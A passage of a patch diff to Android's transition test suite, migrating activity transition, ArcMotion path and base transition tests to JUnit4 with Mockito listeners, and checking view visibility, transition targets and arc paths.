+        super.setup();
+        setTransitions(new TrackingVisibility(), new TrackingVisibility(),
+                new TrackingTransition());
+    }
+
+    private void setTransitions(TrackingVisibility exit, TrackingVisibility reenter,
+            TrackingTransition sharedElementReenter) {
+        mExitTransition = exit;
+        mExitListener = mock(TransitionListener.class);
+        mExitTransition.addListener(mExitListener);
+        mActivity.getWindow().setExitTransition(mExitTransition);
+
+        mReenterTransition = reenter;
+        mReenterListener = mock(TransitionListener.class);
+        mReenterTransition.addListener(mReenterListener);
+        mActivity.getWindow().setReenterTransition(mReenterTransition);
+
+        mSharedElementReenterTransition = sharedElementReenter;
+        mSharedElementReenterListener = mock(TransitionListener.class);
+        mSharedElementReenterTransition.addListener(mSharedElementReenterListener);
+        mActivity.getWindow().setSharedElementReenterTransition(mSharedElementReenterTransition);
+    }
+
+    @After
+    public void cleanup() throws Throwable {
+        if (TargetActivity.sLastCreated != null) {
+            mActivityRule.runOnUiThread(() -> TargetActivity.sLastCreated.finish());
+        }
+        TargetActivity.sLastCreated = null;
+    }
+
+    // When using ActivityOptions.makeBasic(), no transitions should run
+    @Test
+    public void testMakeBasic() throws Throwable {
+        assertFalse(mActivity.isActivityTransitionRunning());
+        mActivityRule.runOnUiThread(() -> {
+            Intent intent = new Intent(mActivity, TargetActivity.class);
+            ActivityOptions activityOptions =
+                    ActivityOptions.makeBasic();
+            mActivity.startActivity(intent, activityOptions.toBundle());
+        });
+
+        assertFalse(mActivity.isActivityTransitionRunning());
+
+        TargetActivity targetActivity = waitForTargetActivity();
+        assertFalse(targetActivity.isActivityTransitionRunning());
+        mActivityRule.runOnUiThread(() -> {
+            targetActivity.finish();
+        });
+
+        assertFalse(targetActivity.isActivityTransitionRunning());
+        assertFalse(mActivity.isActivityTransitionRunning());
+    }
+
+    // Views that are outside the visible area only during the shared element start
+    // should not be stripped from the transition.
+    @Test
+    public void viewsNotStripped() throws Throwable {
+        enterScene(R.layout.scene10);
+        mActivityRule.runOnUiThread(() -> {
+            View sharedElement = mActivity.findViewById(R.id.blueSquare);
+            Bundle options = ActivityOptions.makeSceneTransitionAnimation(mActivity,
+                    sharedElement, "holder").toBundle();
+            Intent intent = new Intent(mActivity, TargetActivity.class);
+            intent.putExtra(TargetActivity.EXTRA_LAYOUT_ID, R.layout.scene12);
+            mActivity.startActivity(intent, options);
+        });
+
+        TargetActivity targetActivity = waitForTargetActivity();
+        verify(targetActivity.enterListener, within(3000)).onTransitionEnd(any());
+        verify(mExitListener, times(1)).onTransitionEnd(any());
+
+        // Now check the targets... they should all be there
+        assertTargetContains(targetActivity.enterTransition,
+                R.id.redSquare, R.id.greenSquare, R.id.blueSquare, R.id.yellowSquare);
+        assertTargetExcludes(targetActivity.enterTransition, R.id.holder);
+
+        assertTargetContains(targetActivity.sharedElementEnterTransition, R.id.holder);
+        assertTargetExcludes(targetActivity.sharedElementEnterTransition,
+                R.id.redSquare, R.id.greenSquare, R.id.blueSquare, R.id.yellowSquare);
+
+        assertTargetContains(mExitTransition, R.id.redSquare, R.id.greenSquare, R.id.yellowSquare);
+        assertTargetExcludes(mExitTransition, R.id.blueSquare, R.id.holder);
+
+        assertEquals(View.VISIBLE, targetActivity.findViewById(R.id.redSquare).getVisibility());
+        assertEquals(View.VISIBLE, targetActivity.findViewById(R.id.greenSquare).getVisibility());
+        assertEquals(View.VISIBLE, targetActivity.findViewById(R.id.holder).getVisibility());
+
+        assertEquals(1, targetActivity.findViewById(R.id.redSquare).getAlpha(), 0.01f);
+        assertEquals(1, targetActivity.findViewById(R.id.greenSquare).getAlpha(), 0.01f);
+        assertEquals(1, targetActivity.findViewById(R.id.holder).getAlpha(), 0.01f);
+
+        mActivityRule.runOnUiThread(() -> targetActivity.finishAfterTransition());
+        verify(mReenterListener, within(3000)).onTransitionEnd(any());
+        verify(mSharedElementReenterListener, within(3000)).onTransitionEnd(any());
+        verify(targetActivity.returnListener, times(1)).onTransitionEnd(any());
+
+        // return targets are stripped also
+        assertTargetContains(targetActivity.returnTransition,
+                R.id.redSquare, R.id.greenSquare, R.id.blueSquare, R.id.yellowSquare);
+        assertTargetExcludes(targetActivity.returnTransition, R.id.holder);
+
+        assertTargetContains(mReenterTransition,
+                R.id.redSquare, R.id.greenSquare, R.id.yellowSquare);
+        assertTargetExcludes(mReenterTransition, R.id.blueSquare, R.id.holder);
+
+        assertTargetContains(targetActivity.sharedElementReturnTransition,
+                R.id.holder);
+        assertTargetExcludes(targetActivity.sharedElementReturnTransition,
+                R.id.redSquare, R.id.greenSquare, R.id.blueSquare, R.id.yellowSquare);
+
+        assertTargetContains(mSharedElementReenterTransition, R.id.blueSquare);
+        assertTargetExcludes(mSharedElementReenterTransition,
+                R.id.redSquare, R.id.greenSquare, R.id.yellowSquare);
+
+        assertEquals(View.VISIBLE, mActivity.findViewById(R.id.redSquare).getVisibility());
+        assertEquals(View.VISIBLE, mActivity.findViewById(R.id.greenSquare).getVisibility());
+        assertEquals(View.VISIBLE, mActivity.findViewById(R.id.holder).getVisibility());
+
+        assertEquals(1, mActivity.findViewById(R.id.redSquare).getAlpha(), 0.01f);
+        assertEquals(1, mActivity.findViewById(R.id.greenSquare).getAlpha(), 0.01f);
+        assertEquals(1, mActivity.findViewById(R.id.holder).getAlpha(), 0.01f);
+
+        TargetActivity.sLastCreated = null;
+    }
+
+    // Views that are outside the visible area during initial layout should be stripped from
+    // the transition.
+    @Test
+    public void viewsStripped() throws Throwable {
+        enterScene(R.layout.scene13);
+        mActivityRule.runOnUiThread(() -> {
+            View sharedElement = mActivity.findViewById(R.id.redSquare);
+            Bundle options = ActivityOptions.makeSceneTransitionAnimation(mActivity,
+                    sharedElement, "redSquare").toBundle();
+            Intent intent = new Intent(mActivity, TargetActivity.class);
+            intent.putExtra(TargetActivity.EXTRA_LAYOUT_ID, R.layout.scene13);
+            mActivity.startActivity(intent, options);
+        });
+
+        TargetActivity targetActivity = waitForTargetActivity();
+        verify(targetActivity.enterListener, within(3000)).onTransitionEnd(any());
+        verify(mExitListener, times(1)).onTransitionEnd(any());
+
+        // Now check the targets... they should all be stripped
+        assertTargetExcludes(targetActivity.enterTransition, R.id.holder,
+                R.id.redSquare, R.id.greenSquare, R.id.blueSquare, R.id.yellowSquare);
+
+        assertTargetExcludes(mExitTransition, R.id.holder,
+                R.id.redSquare, R.id.greenSquare, R.id.blueSquare, R.id.yellowSquare);
+
+        assertTargetContains(targetActivity.sharedElementEnterTransition, R.id.redSquare);
+        assertTargetExcludes(targetActivity.sharedElementEnterTransition,
+                R.id.greenSquare, R.id.blueSquare, R.id.yellowSquare);
+
+        assertEquals(View.VISIBLE, targetActivity.findViewById(R.id.redSquare).getVisibility());
+        assertEquals(View.VISIBLE, targetActivity.findViewById(R.id.greenSquare).getVisibility());
+        assertEquals(View.VISIBLE, targetActivity.findViewById(R.id.holder).getVisibility());
+
+        assertEquals(1, targetActivity.findViewById(R.id.redSquare).getAlpha(), 0.01f);
+        assertEquals(1, targetActivity.findViewById(R.id.greenSquare).getAlpha(), 0.01f);
+        assertEquals(1, targetActivity.findViewById(R.id.holder).getAlpha(), 0.01f);
+
+        mActivityRule.runOnUiThread(() -> targetActivity.finishAfterTransition());
+        verify(mReenterListener, within(3000)).onTransitionEnd(any());
+        verify(mSharedElementReenterListener, within(3000)).onTransitionEnd(any());
+        verify(targetActivity.returnListener, times(1)).onTransitionEnd(any());
+
+        // return targets are stripped also
+        assertTargetExcludes(targetActivity.returnTransition,
+                R.id.redSquare, R.id.greenSquare, R.id.blueSquare, R.id.yellowSquare);
+
+        assertTargetExcludes(mReenterTransition, R.id.holder,
+                R.id.redSquare, R.id.greenSquare, R.id.blueSquare, R.id.yellowSquare);
+
+        assertTargetContains(targetActivity.sharedElementReturnTransition,
+                R.id.redSquare);
+        assertTargetExcludes(targetActivity.sharedElementReturnTransition,
+                R.id.greenSquare, R.id.blueSquare, R.id.yellowSquare);
+
+        assertTargetContains(mSharedElementReenterTransition, R.id.redSquare);
+        assertTargetExcludes(mSharedElementReenterTransition,
+                R.id.blueSquare, R.id.greenSquare, R.id.yellowSquare);
+
+        assertEquals(View.VISIBLE, mActivity.findViewById(R.id.greenSquare).getVisibility());
+        assertEquals(View.VISIBLE, mActivity.findViewById(R.id.holder).getVisibility());
+        assertEquals(View.VISIBLE, mActivity.findViewById(R.id.redSquare).getVisibility());
+
+        assertEquals(1, mActivity.findViewById(R.id.redSquare).getAlpha(), 0.01f);
+        assertEquals(1, mActivity.findViewById(R.id.greenSquare).getAlpha(), 0.01f);
+        assertEquals(1, mActivity.findViewById(R.id.holder).getAlpha(), 0.01f);
+
+        TargetActivity.sLastCreated = null;
+    }
+
+    // When an exit transition takes longer than it takes the activity to cover it (and onStop
+    // is called), the exiting views should become visible.
+    @Test
+    public void earlyExitStop() throws Throwable {
+        enterScene(R.layout.scene1);
+        final View hello = mActivity.findViewById(R.id.hello);
+        final View red = mActivity.findViewById(R.id.redSquare);
+        final View green = mActivity.findViewById(R.id.greenSquare);
+        mActivityRule.runOnUiThread(() -> {
+            Fade fade = new Fade();
+            fade.setDuration(10000);
+            fade.addListener(mExitListener);
+            mActivity.getWindow().setExitTransition(fade);
+            Bundle options = ActivityOptions.makeSceneTransitionAnimation(mActivity).toBundle();
+            Intent intent = new Intent(mActivity, TargetActivity.class);
+            intent.putExtra(TargetActivity.EXTRA_LAYOUT_ID, R.layout.scene4);
+            mActivity.startActivity(intent, options);
+        });
+
+        TargetActivity targetActivity = waitForTargetActivity();
+        verify(targetActivity.enterListener, within(3000)).onTransitionEnd(any());
+        verify(mExitListener, within(3000)).onTransitionEnd(any());
+
+        mActivityRule.runOnUiThread(() -> {
+            // Verify that the exited views have an alpha of 1 and are visible
+            assertEquals(1.0f, hello.getAlpha(), 0.01f);
+            assertEquals(1.0f, red.getAlpha(), 0.01f);
+            assertEquals(1.0f, green.getAlpha(), 0.01f);
+
+            assertEquals(View.VISIBLE, hello.getVisibility());
+            assertEquals(View.VISIBLE, red.getVisibility());
+            assertEquals(View.VISIBLE, green.getVisibility());
+            targetActivity.finish();
+        });
+    }
+
+    @Test
+    public void testAnimationQuery() throws Throwable {
+        assertFalse(mActivity.isActivityTransitionRunning());
+        mActivityRule.runOnUiThread(() -> {
+            mActivity.getWindow().setExitTransition(new Fade());
+            Intent intent = new Intent(mActivity, TargetActivity.class);
+            ActivityOptions activityOptions =
+                    ActivityOptions.makeSceneTransitionAnimation(mActivity);
+            mActivity.startActivity(intent, activityOptions.toBundle());
+        });
+
+        assertTrue(mActivity.isActivityTransitionRunning());
+
+        TargetActivity targetActivity = waitForTargetActivity();
+        assertTrue(targetActivity.isActivityTransitionRunning());
+        mActivityRule.runOnUiThread(() -> { });
+        PollingCheck.waitFor(() -> !targetActivity.isActivityTransitionRunning());
+
+        assertFalse(mActivity.isActivityTransitionRunning());
+        mActivityRule.runOnUiThread(() -> {
+            targetActivity.finishAfterTransition();
+            // The target activity transition should start right away
+            assertTrue(targetActivity.isActivityTransitionRunning());
+        });
+
+        // The source activity transition should start sometime later
+        PollingCheck.waitFor(() -> mActivity.isActivityTransitionRunning());
+        PollingCheck.waitFor(() -> !mActivity.isActivityTransitionRunning());
+    }
+
+    // Views that are excluded from the exit/enter transition shouldn't change visibility
+    @Test
+    public void untargetedViews() throws Throwable {
+        enterScene(R.layout.scene10);
+
+        final View redSquare = mActivity.findViewById(R.id.redSquare);
+
+        setTransitions(new TrackingVisibilityWithAnimator(), new TrackingVisibilityWithAnimator(),
+                new TrackingTransition());
+        TransitionListener redSquareValidator = new TransitionListenerAdapter() {
+            @Override
+            public void onTransitionStart(Transition transition) {
+                assertEquals(View.VISIBLE, redSquare.getVisibility());
+            }
+
+            @Override
+            public void onTransitionEnd(Transition transition) {
+                assertEquals(View.VISIBLE, redSquare.getVisibility());
+            }
+        };
+        mExitTransition.addListener(redSquareValidator);
+        mReenterTransition.addListener(redSquareValidator);
+
+        mExitTransition.excludeTarget(R.id.redSquare, true);
+        mReenterTransition.excludeTarget(R.id.redSquare, true);
+
+        mActivity.runOnUiThread(() -> {
+            Bundle options = ActivityOptions.makeSceneTransitionAnimation(mActivity).toBundle();
+            Intent intent = new Intent(mActivity, TargetActivity.class);
+            intent.putExtra(TargetActivity.EXTRA_LAYOUT_ID, R.layout.scene12);
+            intent.putExtra(TargetActivity.EXTRA_EXCLUDE_ID, R.id.redSquare);
+            intent.putExtra(TargetActivity.EXTRA_USE_ANIMATOR, true);
+            mActivity.startActivity(intent, options);
+        });
+
+        verify(mExitListener, within(3000)).onTransitionEnd(any());
+
+        TargetActivity targetActivity = waitForTargetActivity();
+
+        assertTrue(targetActivity.transitionComplete.await(1, TimeUnit.SECONDS));
+        assertEquals(View.VISIBLE, targetActivity.startVisibility);
+        assertEquals(View.VISIBLE, targetActivity.endVisibility);
+
+        // Reset so that we know that they are modified when returning
+        targetActivity.startVisibility = targetActivity.endVisibility = -1;
+
+        targetActivity.transitionComplete = new CountDownLatch(1);
+
+        mActivity.runOnUiThread(() -> {
+            targetActivity.finishAfterTransition();
+        });
+
+        assertTrue(targetActivity.transitionComplete.await(1, TimeUnit.SECONDS));
+        assertEquals(View.VISIBLE, targetActivity.startVisibility);
+        assertEquals(View.VISIBLE, targetActivity.endVisibility);
+
+        assertTrue(targetActivity.transitionComplete.await(1, TimeUnit.SECONDS));
+        verify(mReenterListener, within(3000)).onTransitionEnd(any());
+
+        TargetActivity.sLastCreated = null;
+    }
+
+    // Starting a shared element transition and then removing the view shouldn't cause problems.
+    @Test
+    public void removeSharedViews() throws Throwable {
+        enterScene(R.layout.scene1);
+
+        final View redSquare = mActivity.findViewById(R.id.redSquare);
+        final ViewGroup parent = (ViewGroup) redSquare.getParent();
+
+        mActivityRule.runOnUiThread(() -> {
+            Bundle options = ActivityOptions.makeSceneTransitionAnimation(mActivity,
+                    redSquare, "red").toBundle();
+            Intent intent = new Intent(mActivity, TargetActivity.class);
+            intent.putExtra(TargetActivity.EXTRA_LAYOUT_ID, R.layout.scene2);
+            intent.putExtra(TargetActivity.EXTRA_USE_ANIMATOR, true);
+            parent.removeView(redSquare);
+            mActivity.startActivity(intent, options);
+        });
+
+
+        TargetActivity targetActivity = waitForTargetActivity();
+        verify(targetActivity.enterListener, within(3000)).onTransitionEnd(any());
+
+        mActivityRule.runOnUiThread(() -> targetActivity.finishAfterTransition());
+        mActivityRule.runOnUiThread(() -> parent.removeAllViews());
+
+        verify(targetActivity.returnListener, times(1)).onTransitionEnd(any());
+        TargetActivity.sLastCreated = null;
+    }
+
+    private TargetActivity waitForTargetActivity() throws Throwable {
+        PollingCheck.waitFor(() -> TargetActivity.sLastCreated != null);
+        // Just make sure that we're not in the middle of running on the UI thread.
+        mActivityRule.runOnUiThread(() -> { });
+        return TargetActivity.sLastCreated;
+    }
+
+    private Set<Integer> getTargetViewIds(TargetTracking transition) {
+        return transition.getTrackedTargets().stream()
+                .map(v -> v.getId())
+                .collect(Collectors.toSet());
+    }
+
+    private void assertTargetContains(TargetTracking transition, int... ids) {
+        Set<Integer> targets = getTargetViewIds(transition);
+        for (int id : ids) {
+            assertTrueWithId(id, "%s was not included from the transition", targets.contains(id));
+        }
+    }
+
+    private void assertTargetExcludes(TargetTracking transition, int... ids) {
+        Set<Integer> targets = getTargetViewIds(transition);
+        for (int id : ids) {
+            assertTrueWithId(id, "%s was not excluded from the transition", !targets.contains(id));
+        }
+    }
+
+    private void assertTrueWithId(int id, String message, boolean valueToAssert) {
+        if (!valueToAssert) {
+            fail(String.format(message, mActivity.getResources().getResourceName(id)));
+        }
+    }
+}
diff --git a/tests/tests/transition/src/android/transition/cts/ArcMotionTest.java b/tests/tests/transition/src/android/transition/cts/ArcMotionTest.java
index d6b00cf..370155d 100644
--- a/tests/tests/transition/src/android/transition/cts/ArcMotionTest.java
+++ b/tests/tests/transition/src/android/transition/cts/ArcMotionTest.java
@@ -15,15 +15,21 @@
  */
 package android.transition.cts;
 
+import static org.junit.Assert.assertEquals;
+
 import android.graphics.Path;
-import android.graphics.PathMeasure;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.transition.ArcMotion;
 
-import junit.framework.TestCase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
 public class ArcMotionTest extends PathMotionTest {
-
-    public void test90Quadrants() throws Throwable {
+    @Test
+    public void test90Quadrants() {
         ArcMotion arcMotion = new ArcMotion();
         arcMotion.setMaximumAngle(90);
 
@@ -31,11 +37,11 @@
         Path path = arcMotion.getPath(0, 100, 100, 0);
         assertPathMatches(expected, path);
 
-        expected = arcWithPoint(100, 0, 0, -100, 100, -100);
+        expected = arcWithPoint(100, 0, 0, -100, 0, 0);
         path = arcMotion.getPath(100, 0, 0, -100);
         assertPathMatches(expected, path);
 
-        expected = arcWithPoint(0, -100, -100, 0, -100, -100);
+        expected = arcWithPoint(0, -100, -100, 0, 0, 0);
         path = arcMotion.getPath(0, -100, -100, 0);
         assertPathMatches(expected, path);
 
@@ -44,7 +50,8 @@
         assertPathMatches(expected, path);
     }
 
-    public void test345Triangles() throws Throwable {
+    @Test
+    public void test345Triangles() {
         // 3-4-5 triangles are easy to calculate the control points
         ArcMotion arcMotion = new ArcMotion();
         arcMotion.setMaximumAngle(90);
@@ -67,41 +74,42 @@
         path = arcMotion.getPath(-160, 0, 0, 120);
         assertPathMatches(expected, path);
 
-        expected = arcWithPoint(0, -120, -160, 0, -125, -120);
+        expected = arcWithPoint(0, -120, -160, 0, -35, 0);
         path = arcMotion.getPath(0, -120, -160, 0);
         assertPathMatches(expected, path);
 
-        expected = arcWithPoint(0, -160, -120, 0, -120, -125);
+        expected = arcWithPoint(0, -160, -120, 0, 0, -35);
         path = arcMotion.getPath(0, -160, -120, 0);
         assertPathMatches(expected, path);
 
-        expected = arcWithPoint(120, 0, 0, -160, 120, -125);
+        expected = arcWithPoint(120, 0, 0, -160, 0, -35);
         path = arcMotion.getPath(120, 0, 0, -160);
         assertPathMatches(expected, path);
 
-        expected = arcWithPoint(160, 0, 0, -120, 125, -120);
+        expected = arcWithPoint(160, 0, 0, -120, 35, 0);
         path = arcMotion.getPath(160, 0, 0, -120);
         assertPathMatches(expected, path);
     }
 
-    private Path arcWithPoint(float startX, float startY, float endX, float endY,
+    private static Path arcWithPoint(float startX, float startY, float endX, float endY,
             float eX, float eY) {
-        float c1x = (eX + startX)/2;
-        float c1y = (eY + startY)/2;
-        float c2x = (eX + endX)/2;
-        float c2y = (eY + endY)/2;
+        float c1x = (eX + startX) / 2;
+        float c1y = (eY + startY) / 2;
+        float c2x = (eX + endX) / 2;
+        float c2y = (eY + endY) / 2;
         Path path = new Path();
         path.moveTo(startX, startY);
         path.cubicTo(c1x, c1y, c2x, c2y, endX, endY);
         return path;
     }
 
-    public void testMaximumAngle() throws Throwable {
+    @Test
+    public void testMaximumAngle() {
         ArcMotion arcMotion = new ArcMotion();
         arcMotion.setMaximumAngle(45f);
-        assertEquals(45f, arcMotion.getMaximumAngle());
+        assertEquals(45f, arcMotion.getMaximumAngle(), 0.0f);
 
-        float ratio = (float) Math.tan(Math.PI/8);
+        float ratio = (float) Math.tan(Math.PI / 8);
         float ex = 50 + (50 * ratio);
         float ey = ex;
 
@@ -110,38 +118,85 @@
         assertPathMatches(expected, path);
     }
 
-    public void testMinimumHorizontalAngle() throws Throwable {
+    @Test
+    public void testMinimumHorizontalAngle() {
         ArcMotion arcMotion = new ArcMotion();
         arcMotion.setMinimumHorizontalAngle(45);
-        assertEquals(45f, arcMotion.getMinimumHorizontalAngle());
+        assertEquals(45, arcMotion.getMinimumHorizontalAngle(), 0.0f);
 
-        float ey = (float)(Math.tan(Math.PI/8) * 50);
-        float ex = 50;
-        Path expected = arcWithPoint(0, 0, 100, 0, ex, ey);
-        Path path = arcMotion.getPath(0, 0, 100, 0);
+        float ex = 37.5f;
+        float ey = (float) (Math.tan(Math.PI / 4) * 50);
+        Path expected = arcWithPoint(0, 0, 100, 50, ex, ey);
+        Path path = arcMotion.getPath(0, 0, 100, 50);
         assertPathMatches(expected, path);
 
         // Pretty much the same, but follows a different path.
-        expected = arcWithPoint(0, 0, 100.001f, 0, ex, ey);
-        path = arcMotion.getPath(0, 0, 100.001f, 0);
+        expected = arcWithPoint(0, 0, 100.001f, 50, ex, ey);
+        path = arcMotion.getPath(0, 0, 100.001f, 50);
+        assertPathMatches(expected, path);
+
+        // Moving in the opposite direction.
+        expected = arcWithPoint(100, 50, 0, 0, ex, ey);
+        path = arcMotion.getPath(100, 50, 0, 0);
+        assertPathMatches(expected, path);
+
+        // With x < y.
+        ex = 0;
+        ey =  (float) (Math.tan(Math.PI / 4) * 62.5f);
+        expected = arcWithPoint(0, 0, 50, 100, ex, ey);
+        path = arcMotion.getPath(0, 0, 50, 100);
+        assertPathMatches(expected, path);
+
+        // Pretty much the same, but follows a different path.
+        expected = arcWithPoint(0, 0, 50, 100.001f, ex, ey);
+        path = arcMotion.getPath(0, 0, 50, 100.001f);
+        assertPathMatches(expected, path);
+
+        // Moving in the opposite direction.
+        expected = arcWithPoint(50, 100, 0, 0, ex, ey);
+        path = arcMotion.getPath(50, 100, 0, 0);
         assertPathMatches(expected, path);
     }
 
-    public void testMinimumVerticalAngle() throws Throwable {
+    @Test
+    public void testMinimumVerticalAngle() {
         ArcMotion arcMotion = new ArcMotion();
         arcMotion.setMinimumVerticalAngle(45);
-        assertEquals(45f, arcMotion.getMinimumVerticalAngle());
+        assertEquals(45, arcMotion.getMinimumVerticalAngle(), 0.0f);
 
-        float ex = (float)(Math.tan(Math.PI/8) * 50);
-        float ey = 50;
-        Path expected = arcWithPoint(0, 0, 0, 100, ex, ey);
-        Path path = arcMotion.getPath(0, 0, 0, 100);
+        float ex = 0;
+        float ey = 62.5f;
+        Path expected = arcWithPoint(0, 0, 50, 100, ex, ey);
+        Path path = arcMotion.getPath(0, 0, 50, 100);
         assertPathMatches(expected, path);
 
         // Pretty much the same, but follows a different path.
-        expected = arcWithPoint(0, 0, 0, 100.001f, ex, ey);
-        path = arcMotion.getPath(0, 0, 0, 100.001f);
+        expected = arcWithPoint(0, 0, 50, 100.001f, ex, ey);
+        path = arcMotion.getPath(0, 0, 50, 100.001f);
         assertPathMatches(expected, path);
+
+        // Moving in opposite direction.
+        expected = arcWithPoint(50, 100, 0, 0, ex, ey);
+        path = arcMotion.getPath(50, 100, 0, 0);
+        assertPathMatches(expected, path);
+
+        // With x > y.
+        ex = (float) (Math.tan(Math.PI / 4) * 37.5f);
+        ey = 50;
+        expected = arcWithPoint(0, 0, 100, 50, ex, ey);
+        path = arcMotion.getPath(0, 0, 100, 50);
+        assertPathMatches(expected, path);
+
+        // Pretty much the same, but follows a different path.
+        expected = arcWithPoint(0, 0, 100.001f, 50, ex, ey);
+        path = arcMotion.getPath(0, 0, 100.001f, 50);
+        assertPathMatches(expected, path);
+
+        // Moving in opposite direction.
+        expected = arcWithPoint(100, 50, 0, 0, ex, ey);
+        path = arcMotion.getPath(100, 50, 0, 0);
+        assertPathMatches(expected, path);
+
     }
 }
 
diff --git a/tests/tests/transition/src/android/transition/cts/BaseTransitionTest.java b/tests/tests/transition/src/android/transition/cts/BaseTransitionTest.java
index a3a8cad..5917ace 100644
--- a/tests/tests/transition/src/android/transition/cts/BaseTransitionTest.java
+++ b/tests/tests/transition/src/android/transition/cts/BaseTransitionTest.java
@@ -15,47 +15,56 @@
  */
 package android.transition.cts;
 
+import static com.android.compatibility.common.util.CtsMockitoUtils.within;
+
+import static org.mockito.Matchers.any;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+
 import android.animation.Animator;
 import android.animation.ObjectAnimator;
-import android.test.ActivityInstrumentationTestCase2;
+import android.app.Instrumentation;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.rule.ActivityTestRule;
 import android.transition.Scene;
 import android.transition.Transition;
 import android.transition.TransitionManager;
 import android.transition.TransitionValues;
 import android.transition.Visibility;
-import android.view.Choreographer;
-import android.view.Choreographer.FrameCallback;
 import android.view.View;
 import android.view.ViewGroup;
-import android.view.ViewTreeObserver;
 import android.widget.FrameLayout;
-import junit.framework.Assert;
+
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.junit.Before;
+import org.junit.Rule;
 
 import java.util.ArrayList;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
 
-public class BaseTransitionTest extends ActivityInstrumentationTestCase2<TransitionActivity> {
+public abstract class BaseTransitionTest {
+    protected Instrumentation mInstrumentation;
     protected TransitionActivity mActivity;
     protected FrameLayout mSceneRoot;
-    public float mAnimatedValue;
-    protected ArrayList<View> mTargets = new ArrayList<View>();
+    private float mAnimatedValue;
+    protected ArrayList<View> mTargets = new ArrayList<>();
     protected Transition mTransition;
-    protected SimpleTransitionListener mListener;
+    protected Transition.TransitionListener mListener;
 
-    public BaseTransitionTest() {
-        super(TransitionActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<TransitionActivity> mActivityRule =
+            new ActivityTestRule<>(TransitionActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        setActivityInitialTouchMode(false);
-        mActivity = getActivity();
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mInstrumentation.setInTouchMode(false);
+        mActivity = mActivityRule.getActivity();
         mSceneRoot = (FrameLayout) mActivity.findViewById(R.id.container);
         mTargets.clear();
         mTransition = new TestTransition();
-        mListener = new SimpleTransitionListener();
+        mListener = mock(Transition.TransitionListener.class);
         mTransition.addListener(mListener);
     }
 
@@ -63,53 +72,43 @@
         waitForStart(mListener);
     }
 
-    protected void waitForStart(SimpleTransitionListener listener) throws InterruptedException {
-        assertTrue(listener.startLatch.await(4000, TimeUnit.MILLISECONDS));
+    protected static void waitForStart(Transition.TransitionListener listener) {
+        verify(listener, within(4000)).onTransitionStart(any());
     }
 
-    protected void waitForEnd(long waitMillis) throws InterruptedException {
+    protected void waitForEnd(long waitMillis) {
         waitForEnd(mListener, waitMillis);
-        getInstrumentation().waitForIdleSync();
+        mInstrumentation.waitForIdleSync();
     }
 
-    protected static void waitForEnd(SimpleTransitionListener listener, long waitMillis)
-            throws InterruptedException {
-        listener.endLatch.await(waitMillis, TimeUnit.MILLISECONDS);
+    protected static void waitForEnd(Transition.TransitionListener listener, long waitMillis) {
+        if (waitMillis == 0) {
+            verify(listener, times(1)).onTransitionEnd(any());
+        } else {
+            verify(listener, within(waitMillis)).onTransitionEnd(any());
+        }
     }
 
     protected View loadLayout(final int layout) throws Throwable {
         View[] root = new View[1];
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                root[0] = mActivity.getLayoutInflater().inflate(layout, mSceneRoot, false);
-            }
-        });
+        mActivityRule.runOnUiThread(
+                () -> root[0] = mActivity.getLayoutInflater().inflate(layout, mSceneRoot, false));
 
         return root[0];
     }
 
     protected Scene loadScene(final View layout) throws Throwable {
-        Scene[] scene = new Scene[1];
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                scene[0] = new Scene(mSceneRoot, layout);
-            }
-        });
+        final Scene[] scene = new Scene[1];
+        mActivityRule.runOnUiThread(() -> scene[0] = new Scene(mSceneRoot, layout));
 
         return scene[0];
     }
 
     protected Scene loadScene(final int layoutId) throws Throwable {
-        Scene scene[] = new Scene[1];
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                scene[0] = Scene.getSceneForLayout(mSceneRoot, layoutId, mActivity);
-            }
-        });
+        final Scene scene[] = new Scene[1];
+        mActivityRule.runOnUiThread(
+                () -> scene[0] = Scene.getSceneForLayout(mSceneRoot, layoutId, mActivity));
         return scene[0];
     }
 
@@ -118,22 +117,12 @@
     }
 
     protected void startTransition(final Scene scene) throws Throwable {
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                TransitionManager.go(scene, mTransition);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> TransitionManager.go(scene, mTransition));
         waitForStart();
     }
 
     protected void endTransition() throws Throwable {
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                TransitionManager.endTransitions(mSceneRoot);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> TransitionManager.endTransitions(mSceneRoot));
     }
 
     protected void enterScene(final int layoutId) throws Throwable {
@@ -141,49 +130,24 @@
     }
 
     protected void enterScene(final Scene scene) throws Throwable {
-        final CountDownLatch latch = new CountDownLatch(1);
-
-        runTestOnUiThread(() -> {
-            final ViewTreeObserver.OnGlobalLayoutListener listener =
-                    new ViewTreeObserver.OnGlobalLayoutListener() {
-                @Override
-                public void onGlobalLayout() {
-                    mActivity.getWindow().getDecorView().
-                            getViewTreeObserver().removeOnGlobalLayoutListener(this);
-                    latch.countDown();
-                }
-            };
-
-            mActivity.getWindow().getDecorView().
-                    getViewTreeObserver().addOnGlobalLayoutListener(listener);
-
-            scene.enter();
-        });
-
-        try {
-            Assert.assertTrue("Expected layout pass within 5 seconds",
-                    latch.await(5, TimeUnit.SECONDS));
-        } catch (InterruptedException e) {
-            throw new RuntimeException(e);
-        }
+        WidgetTestUtils.runOnMainAndLayoutSync(mActivityRule, scene::enter, false);
     }
 
     protected void exitScene(final Scene scene) throws Throwable {
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                scene.exit();
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(scene::exit);
+        mInstrumentation.waitForIdleSync();
     }
 
     protected void resetListener() {
         mTransition.removeListener(mListener);
-        mListener = new SimpleTransitionListener();
+        mListener = mock(Transition.TransitionListener.class);
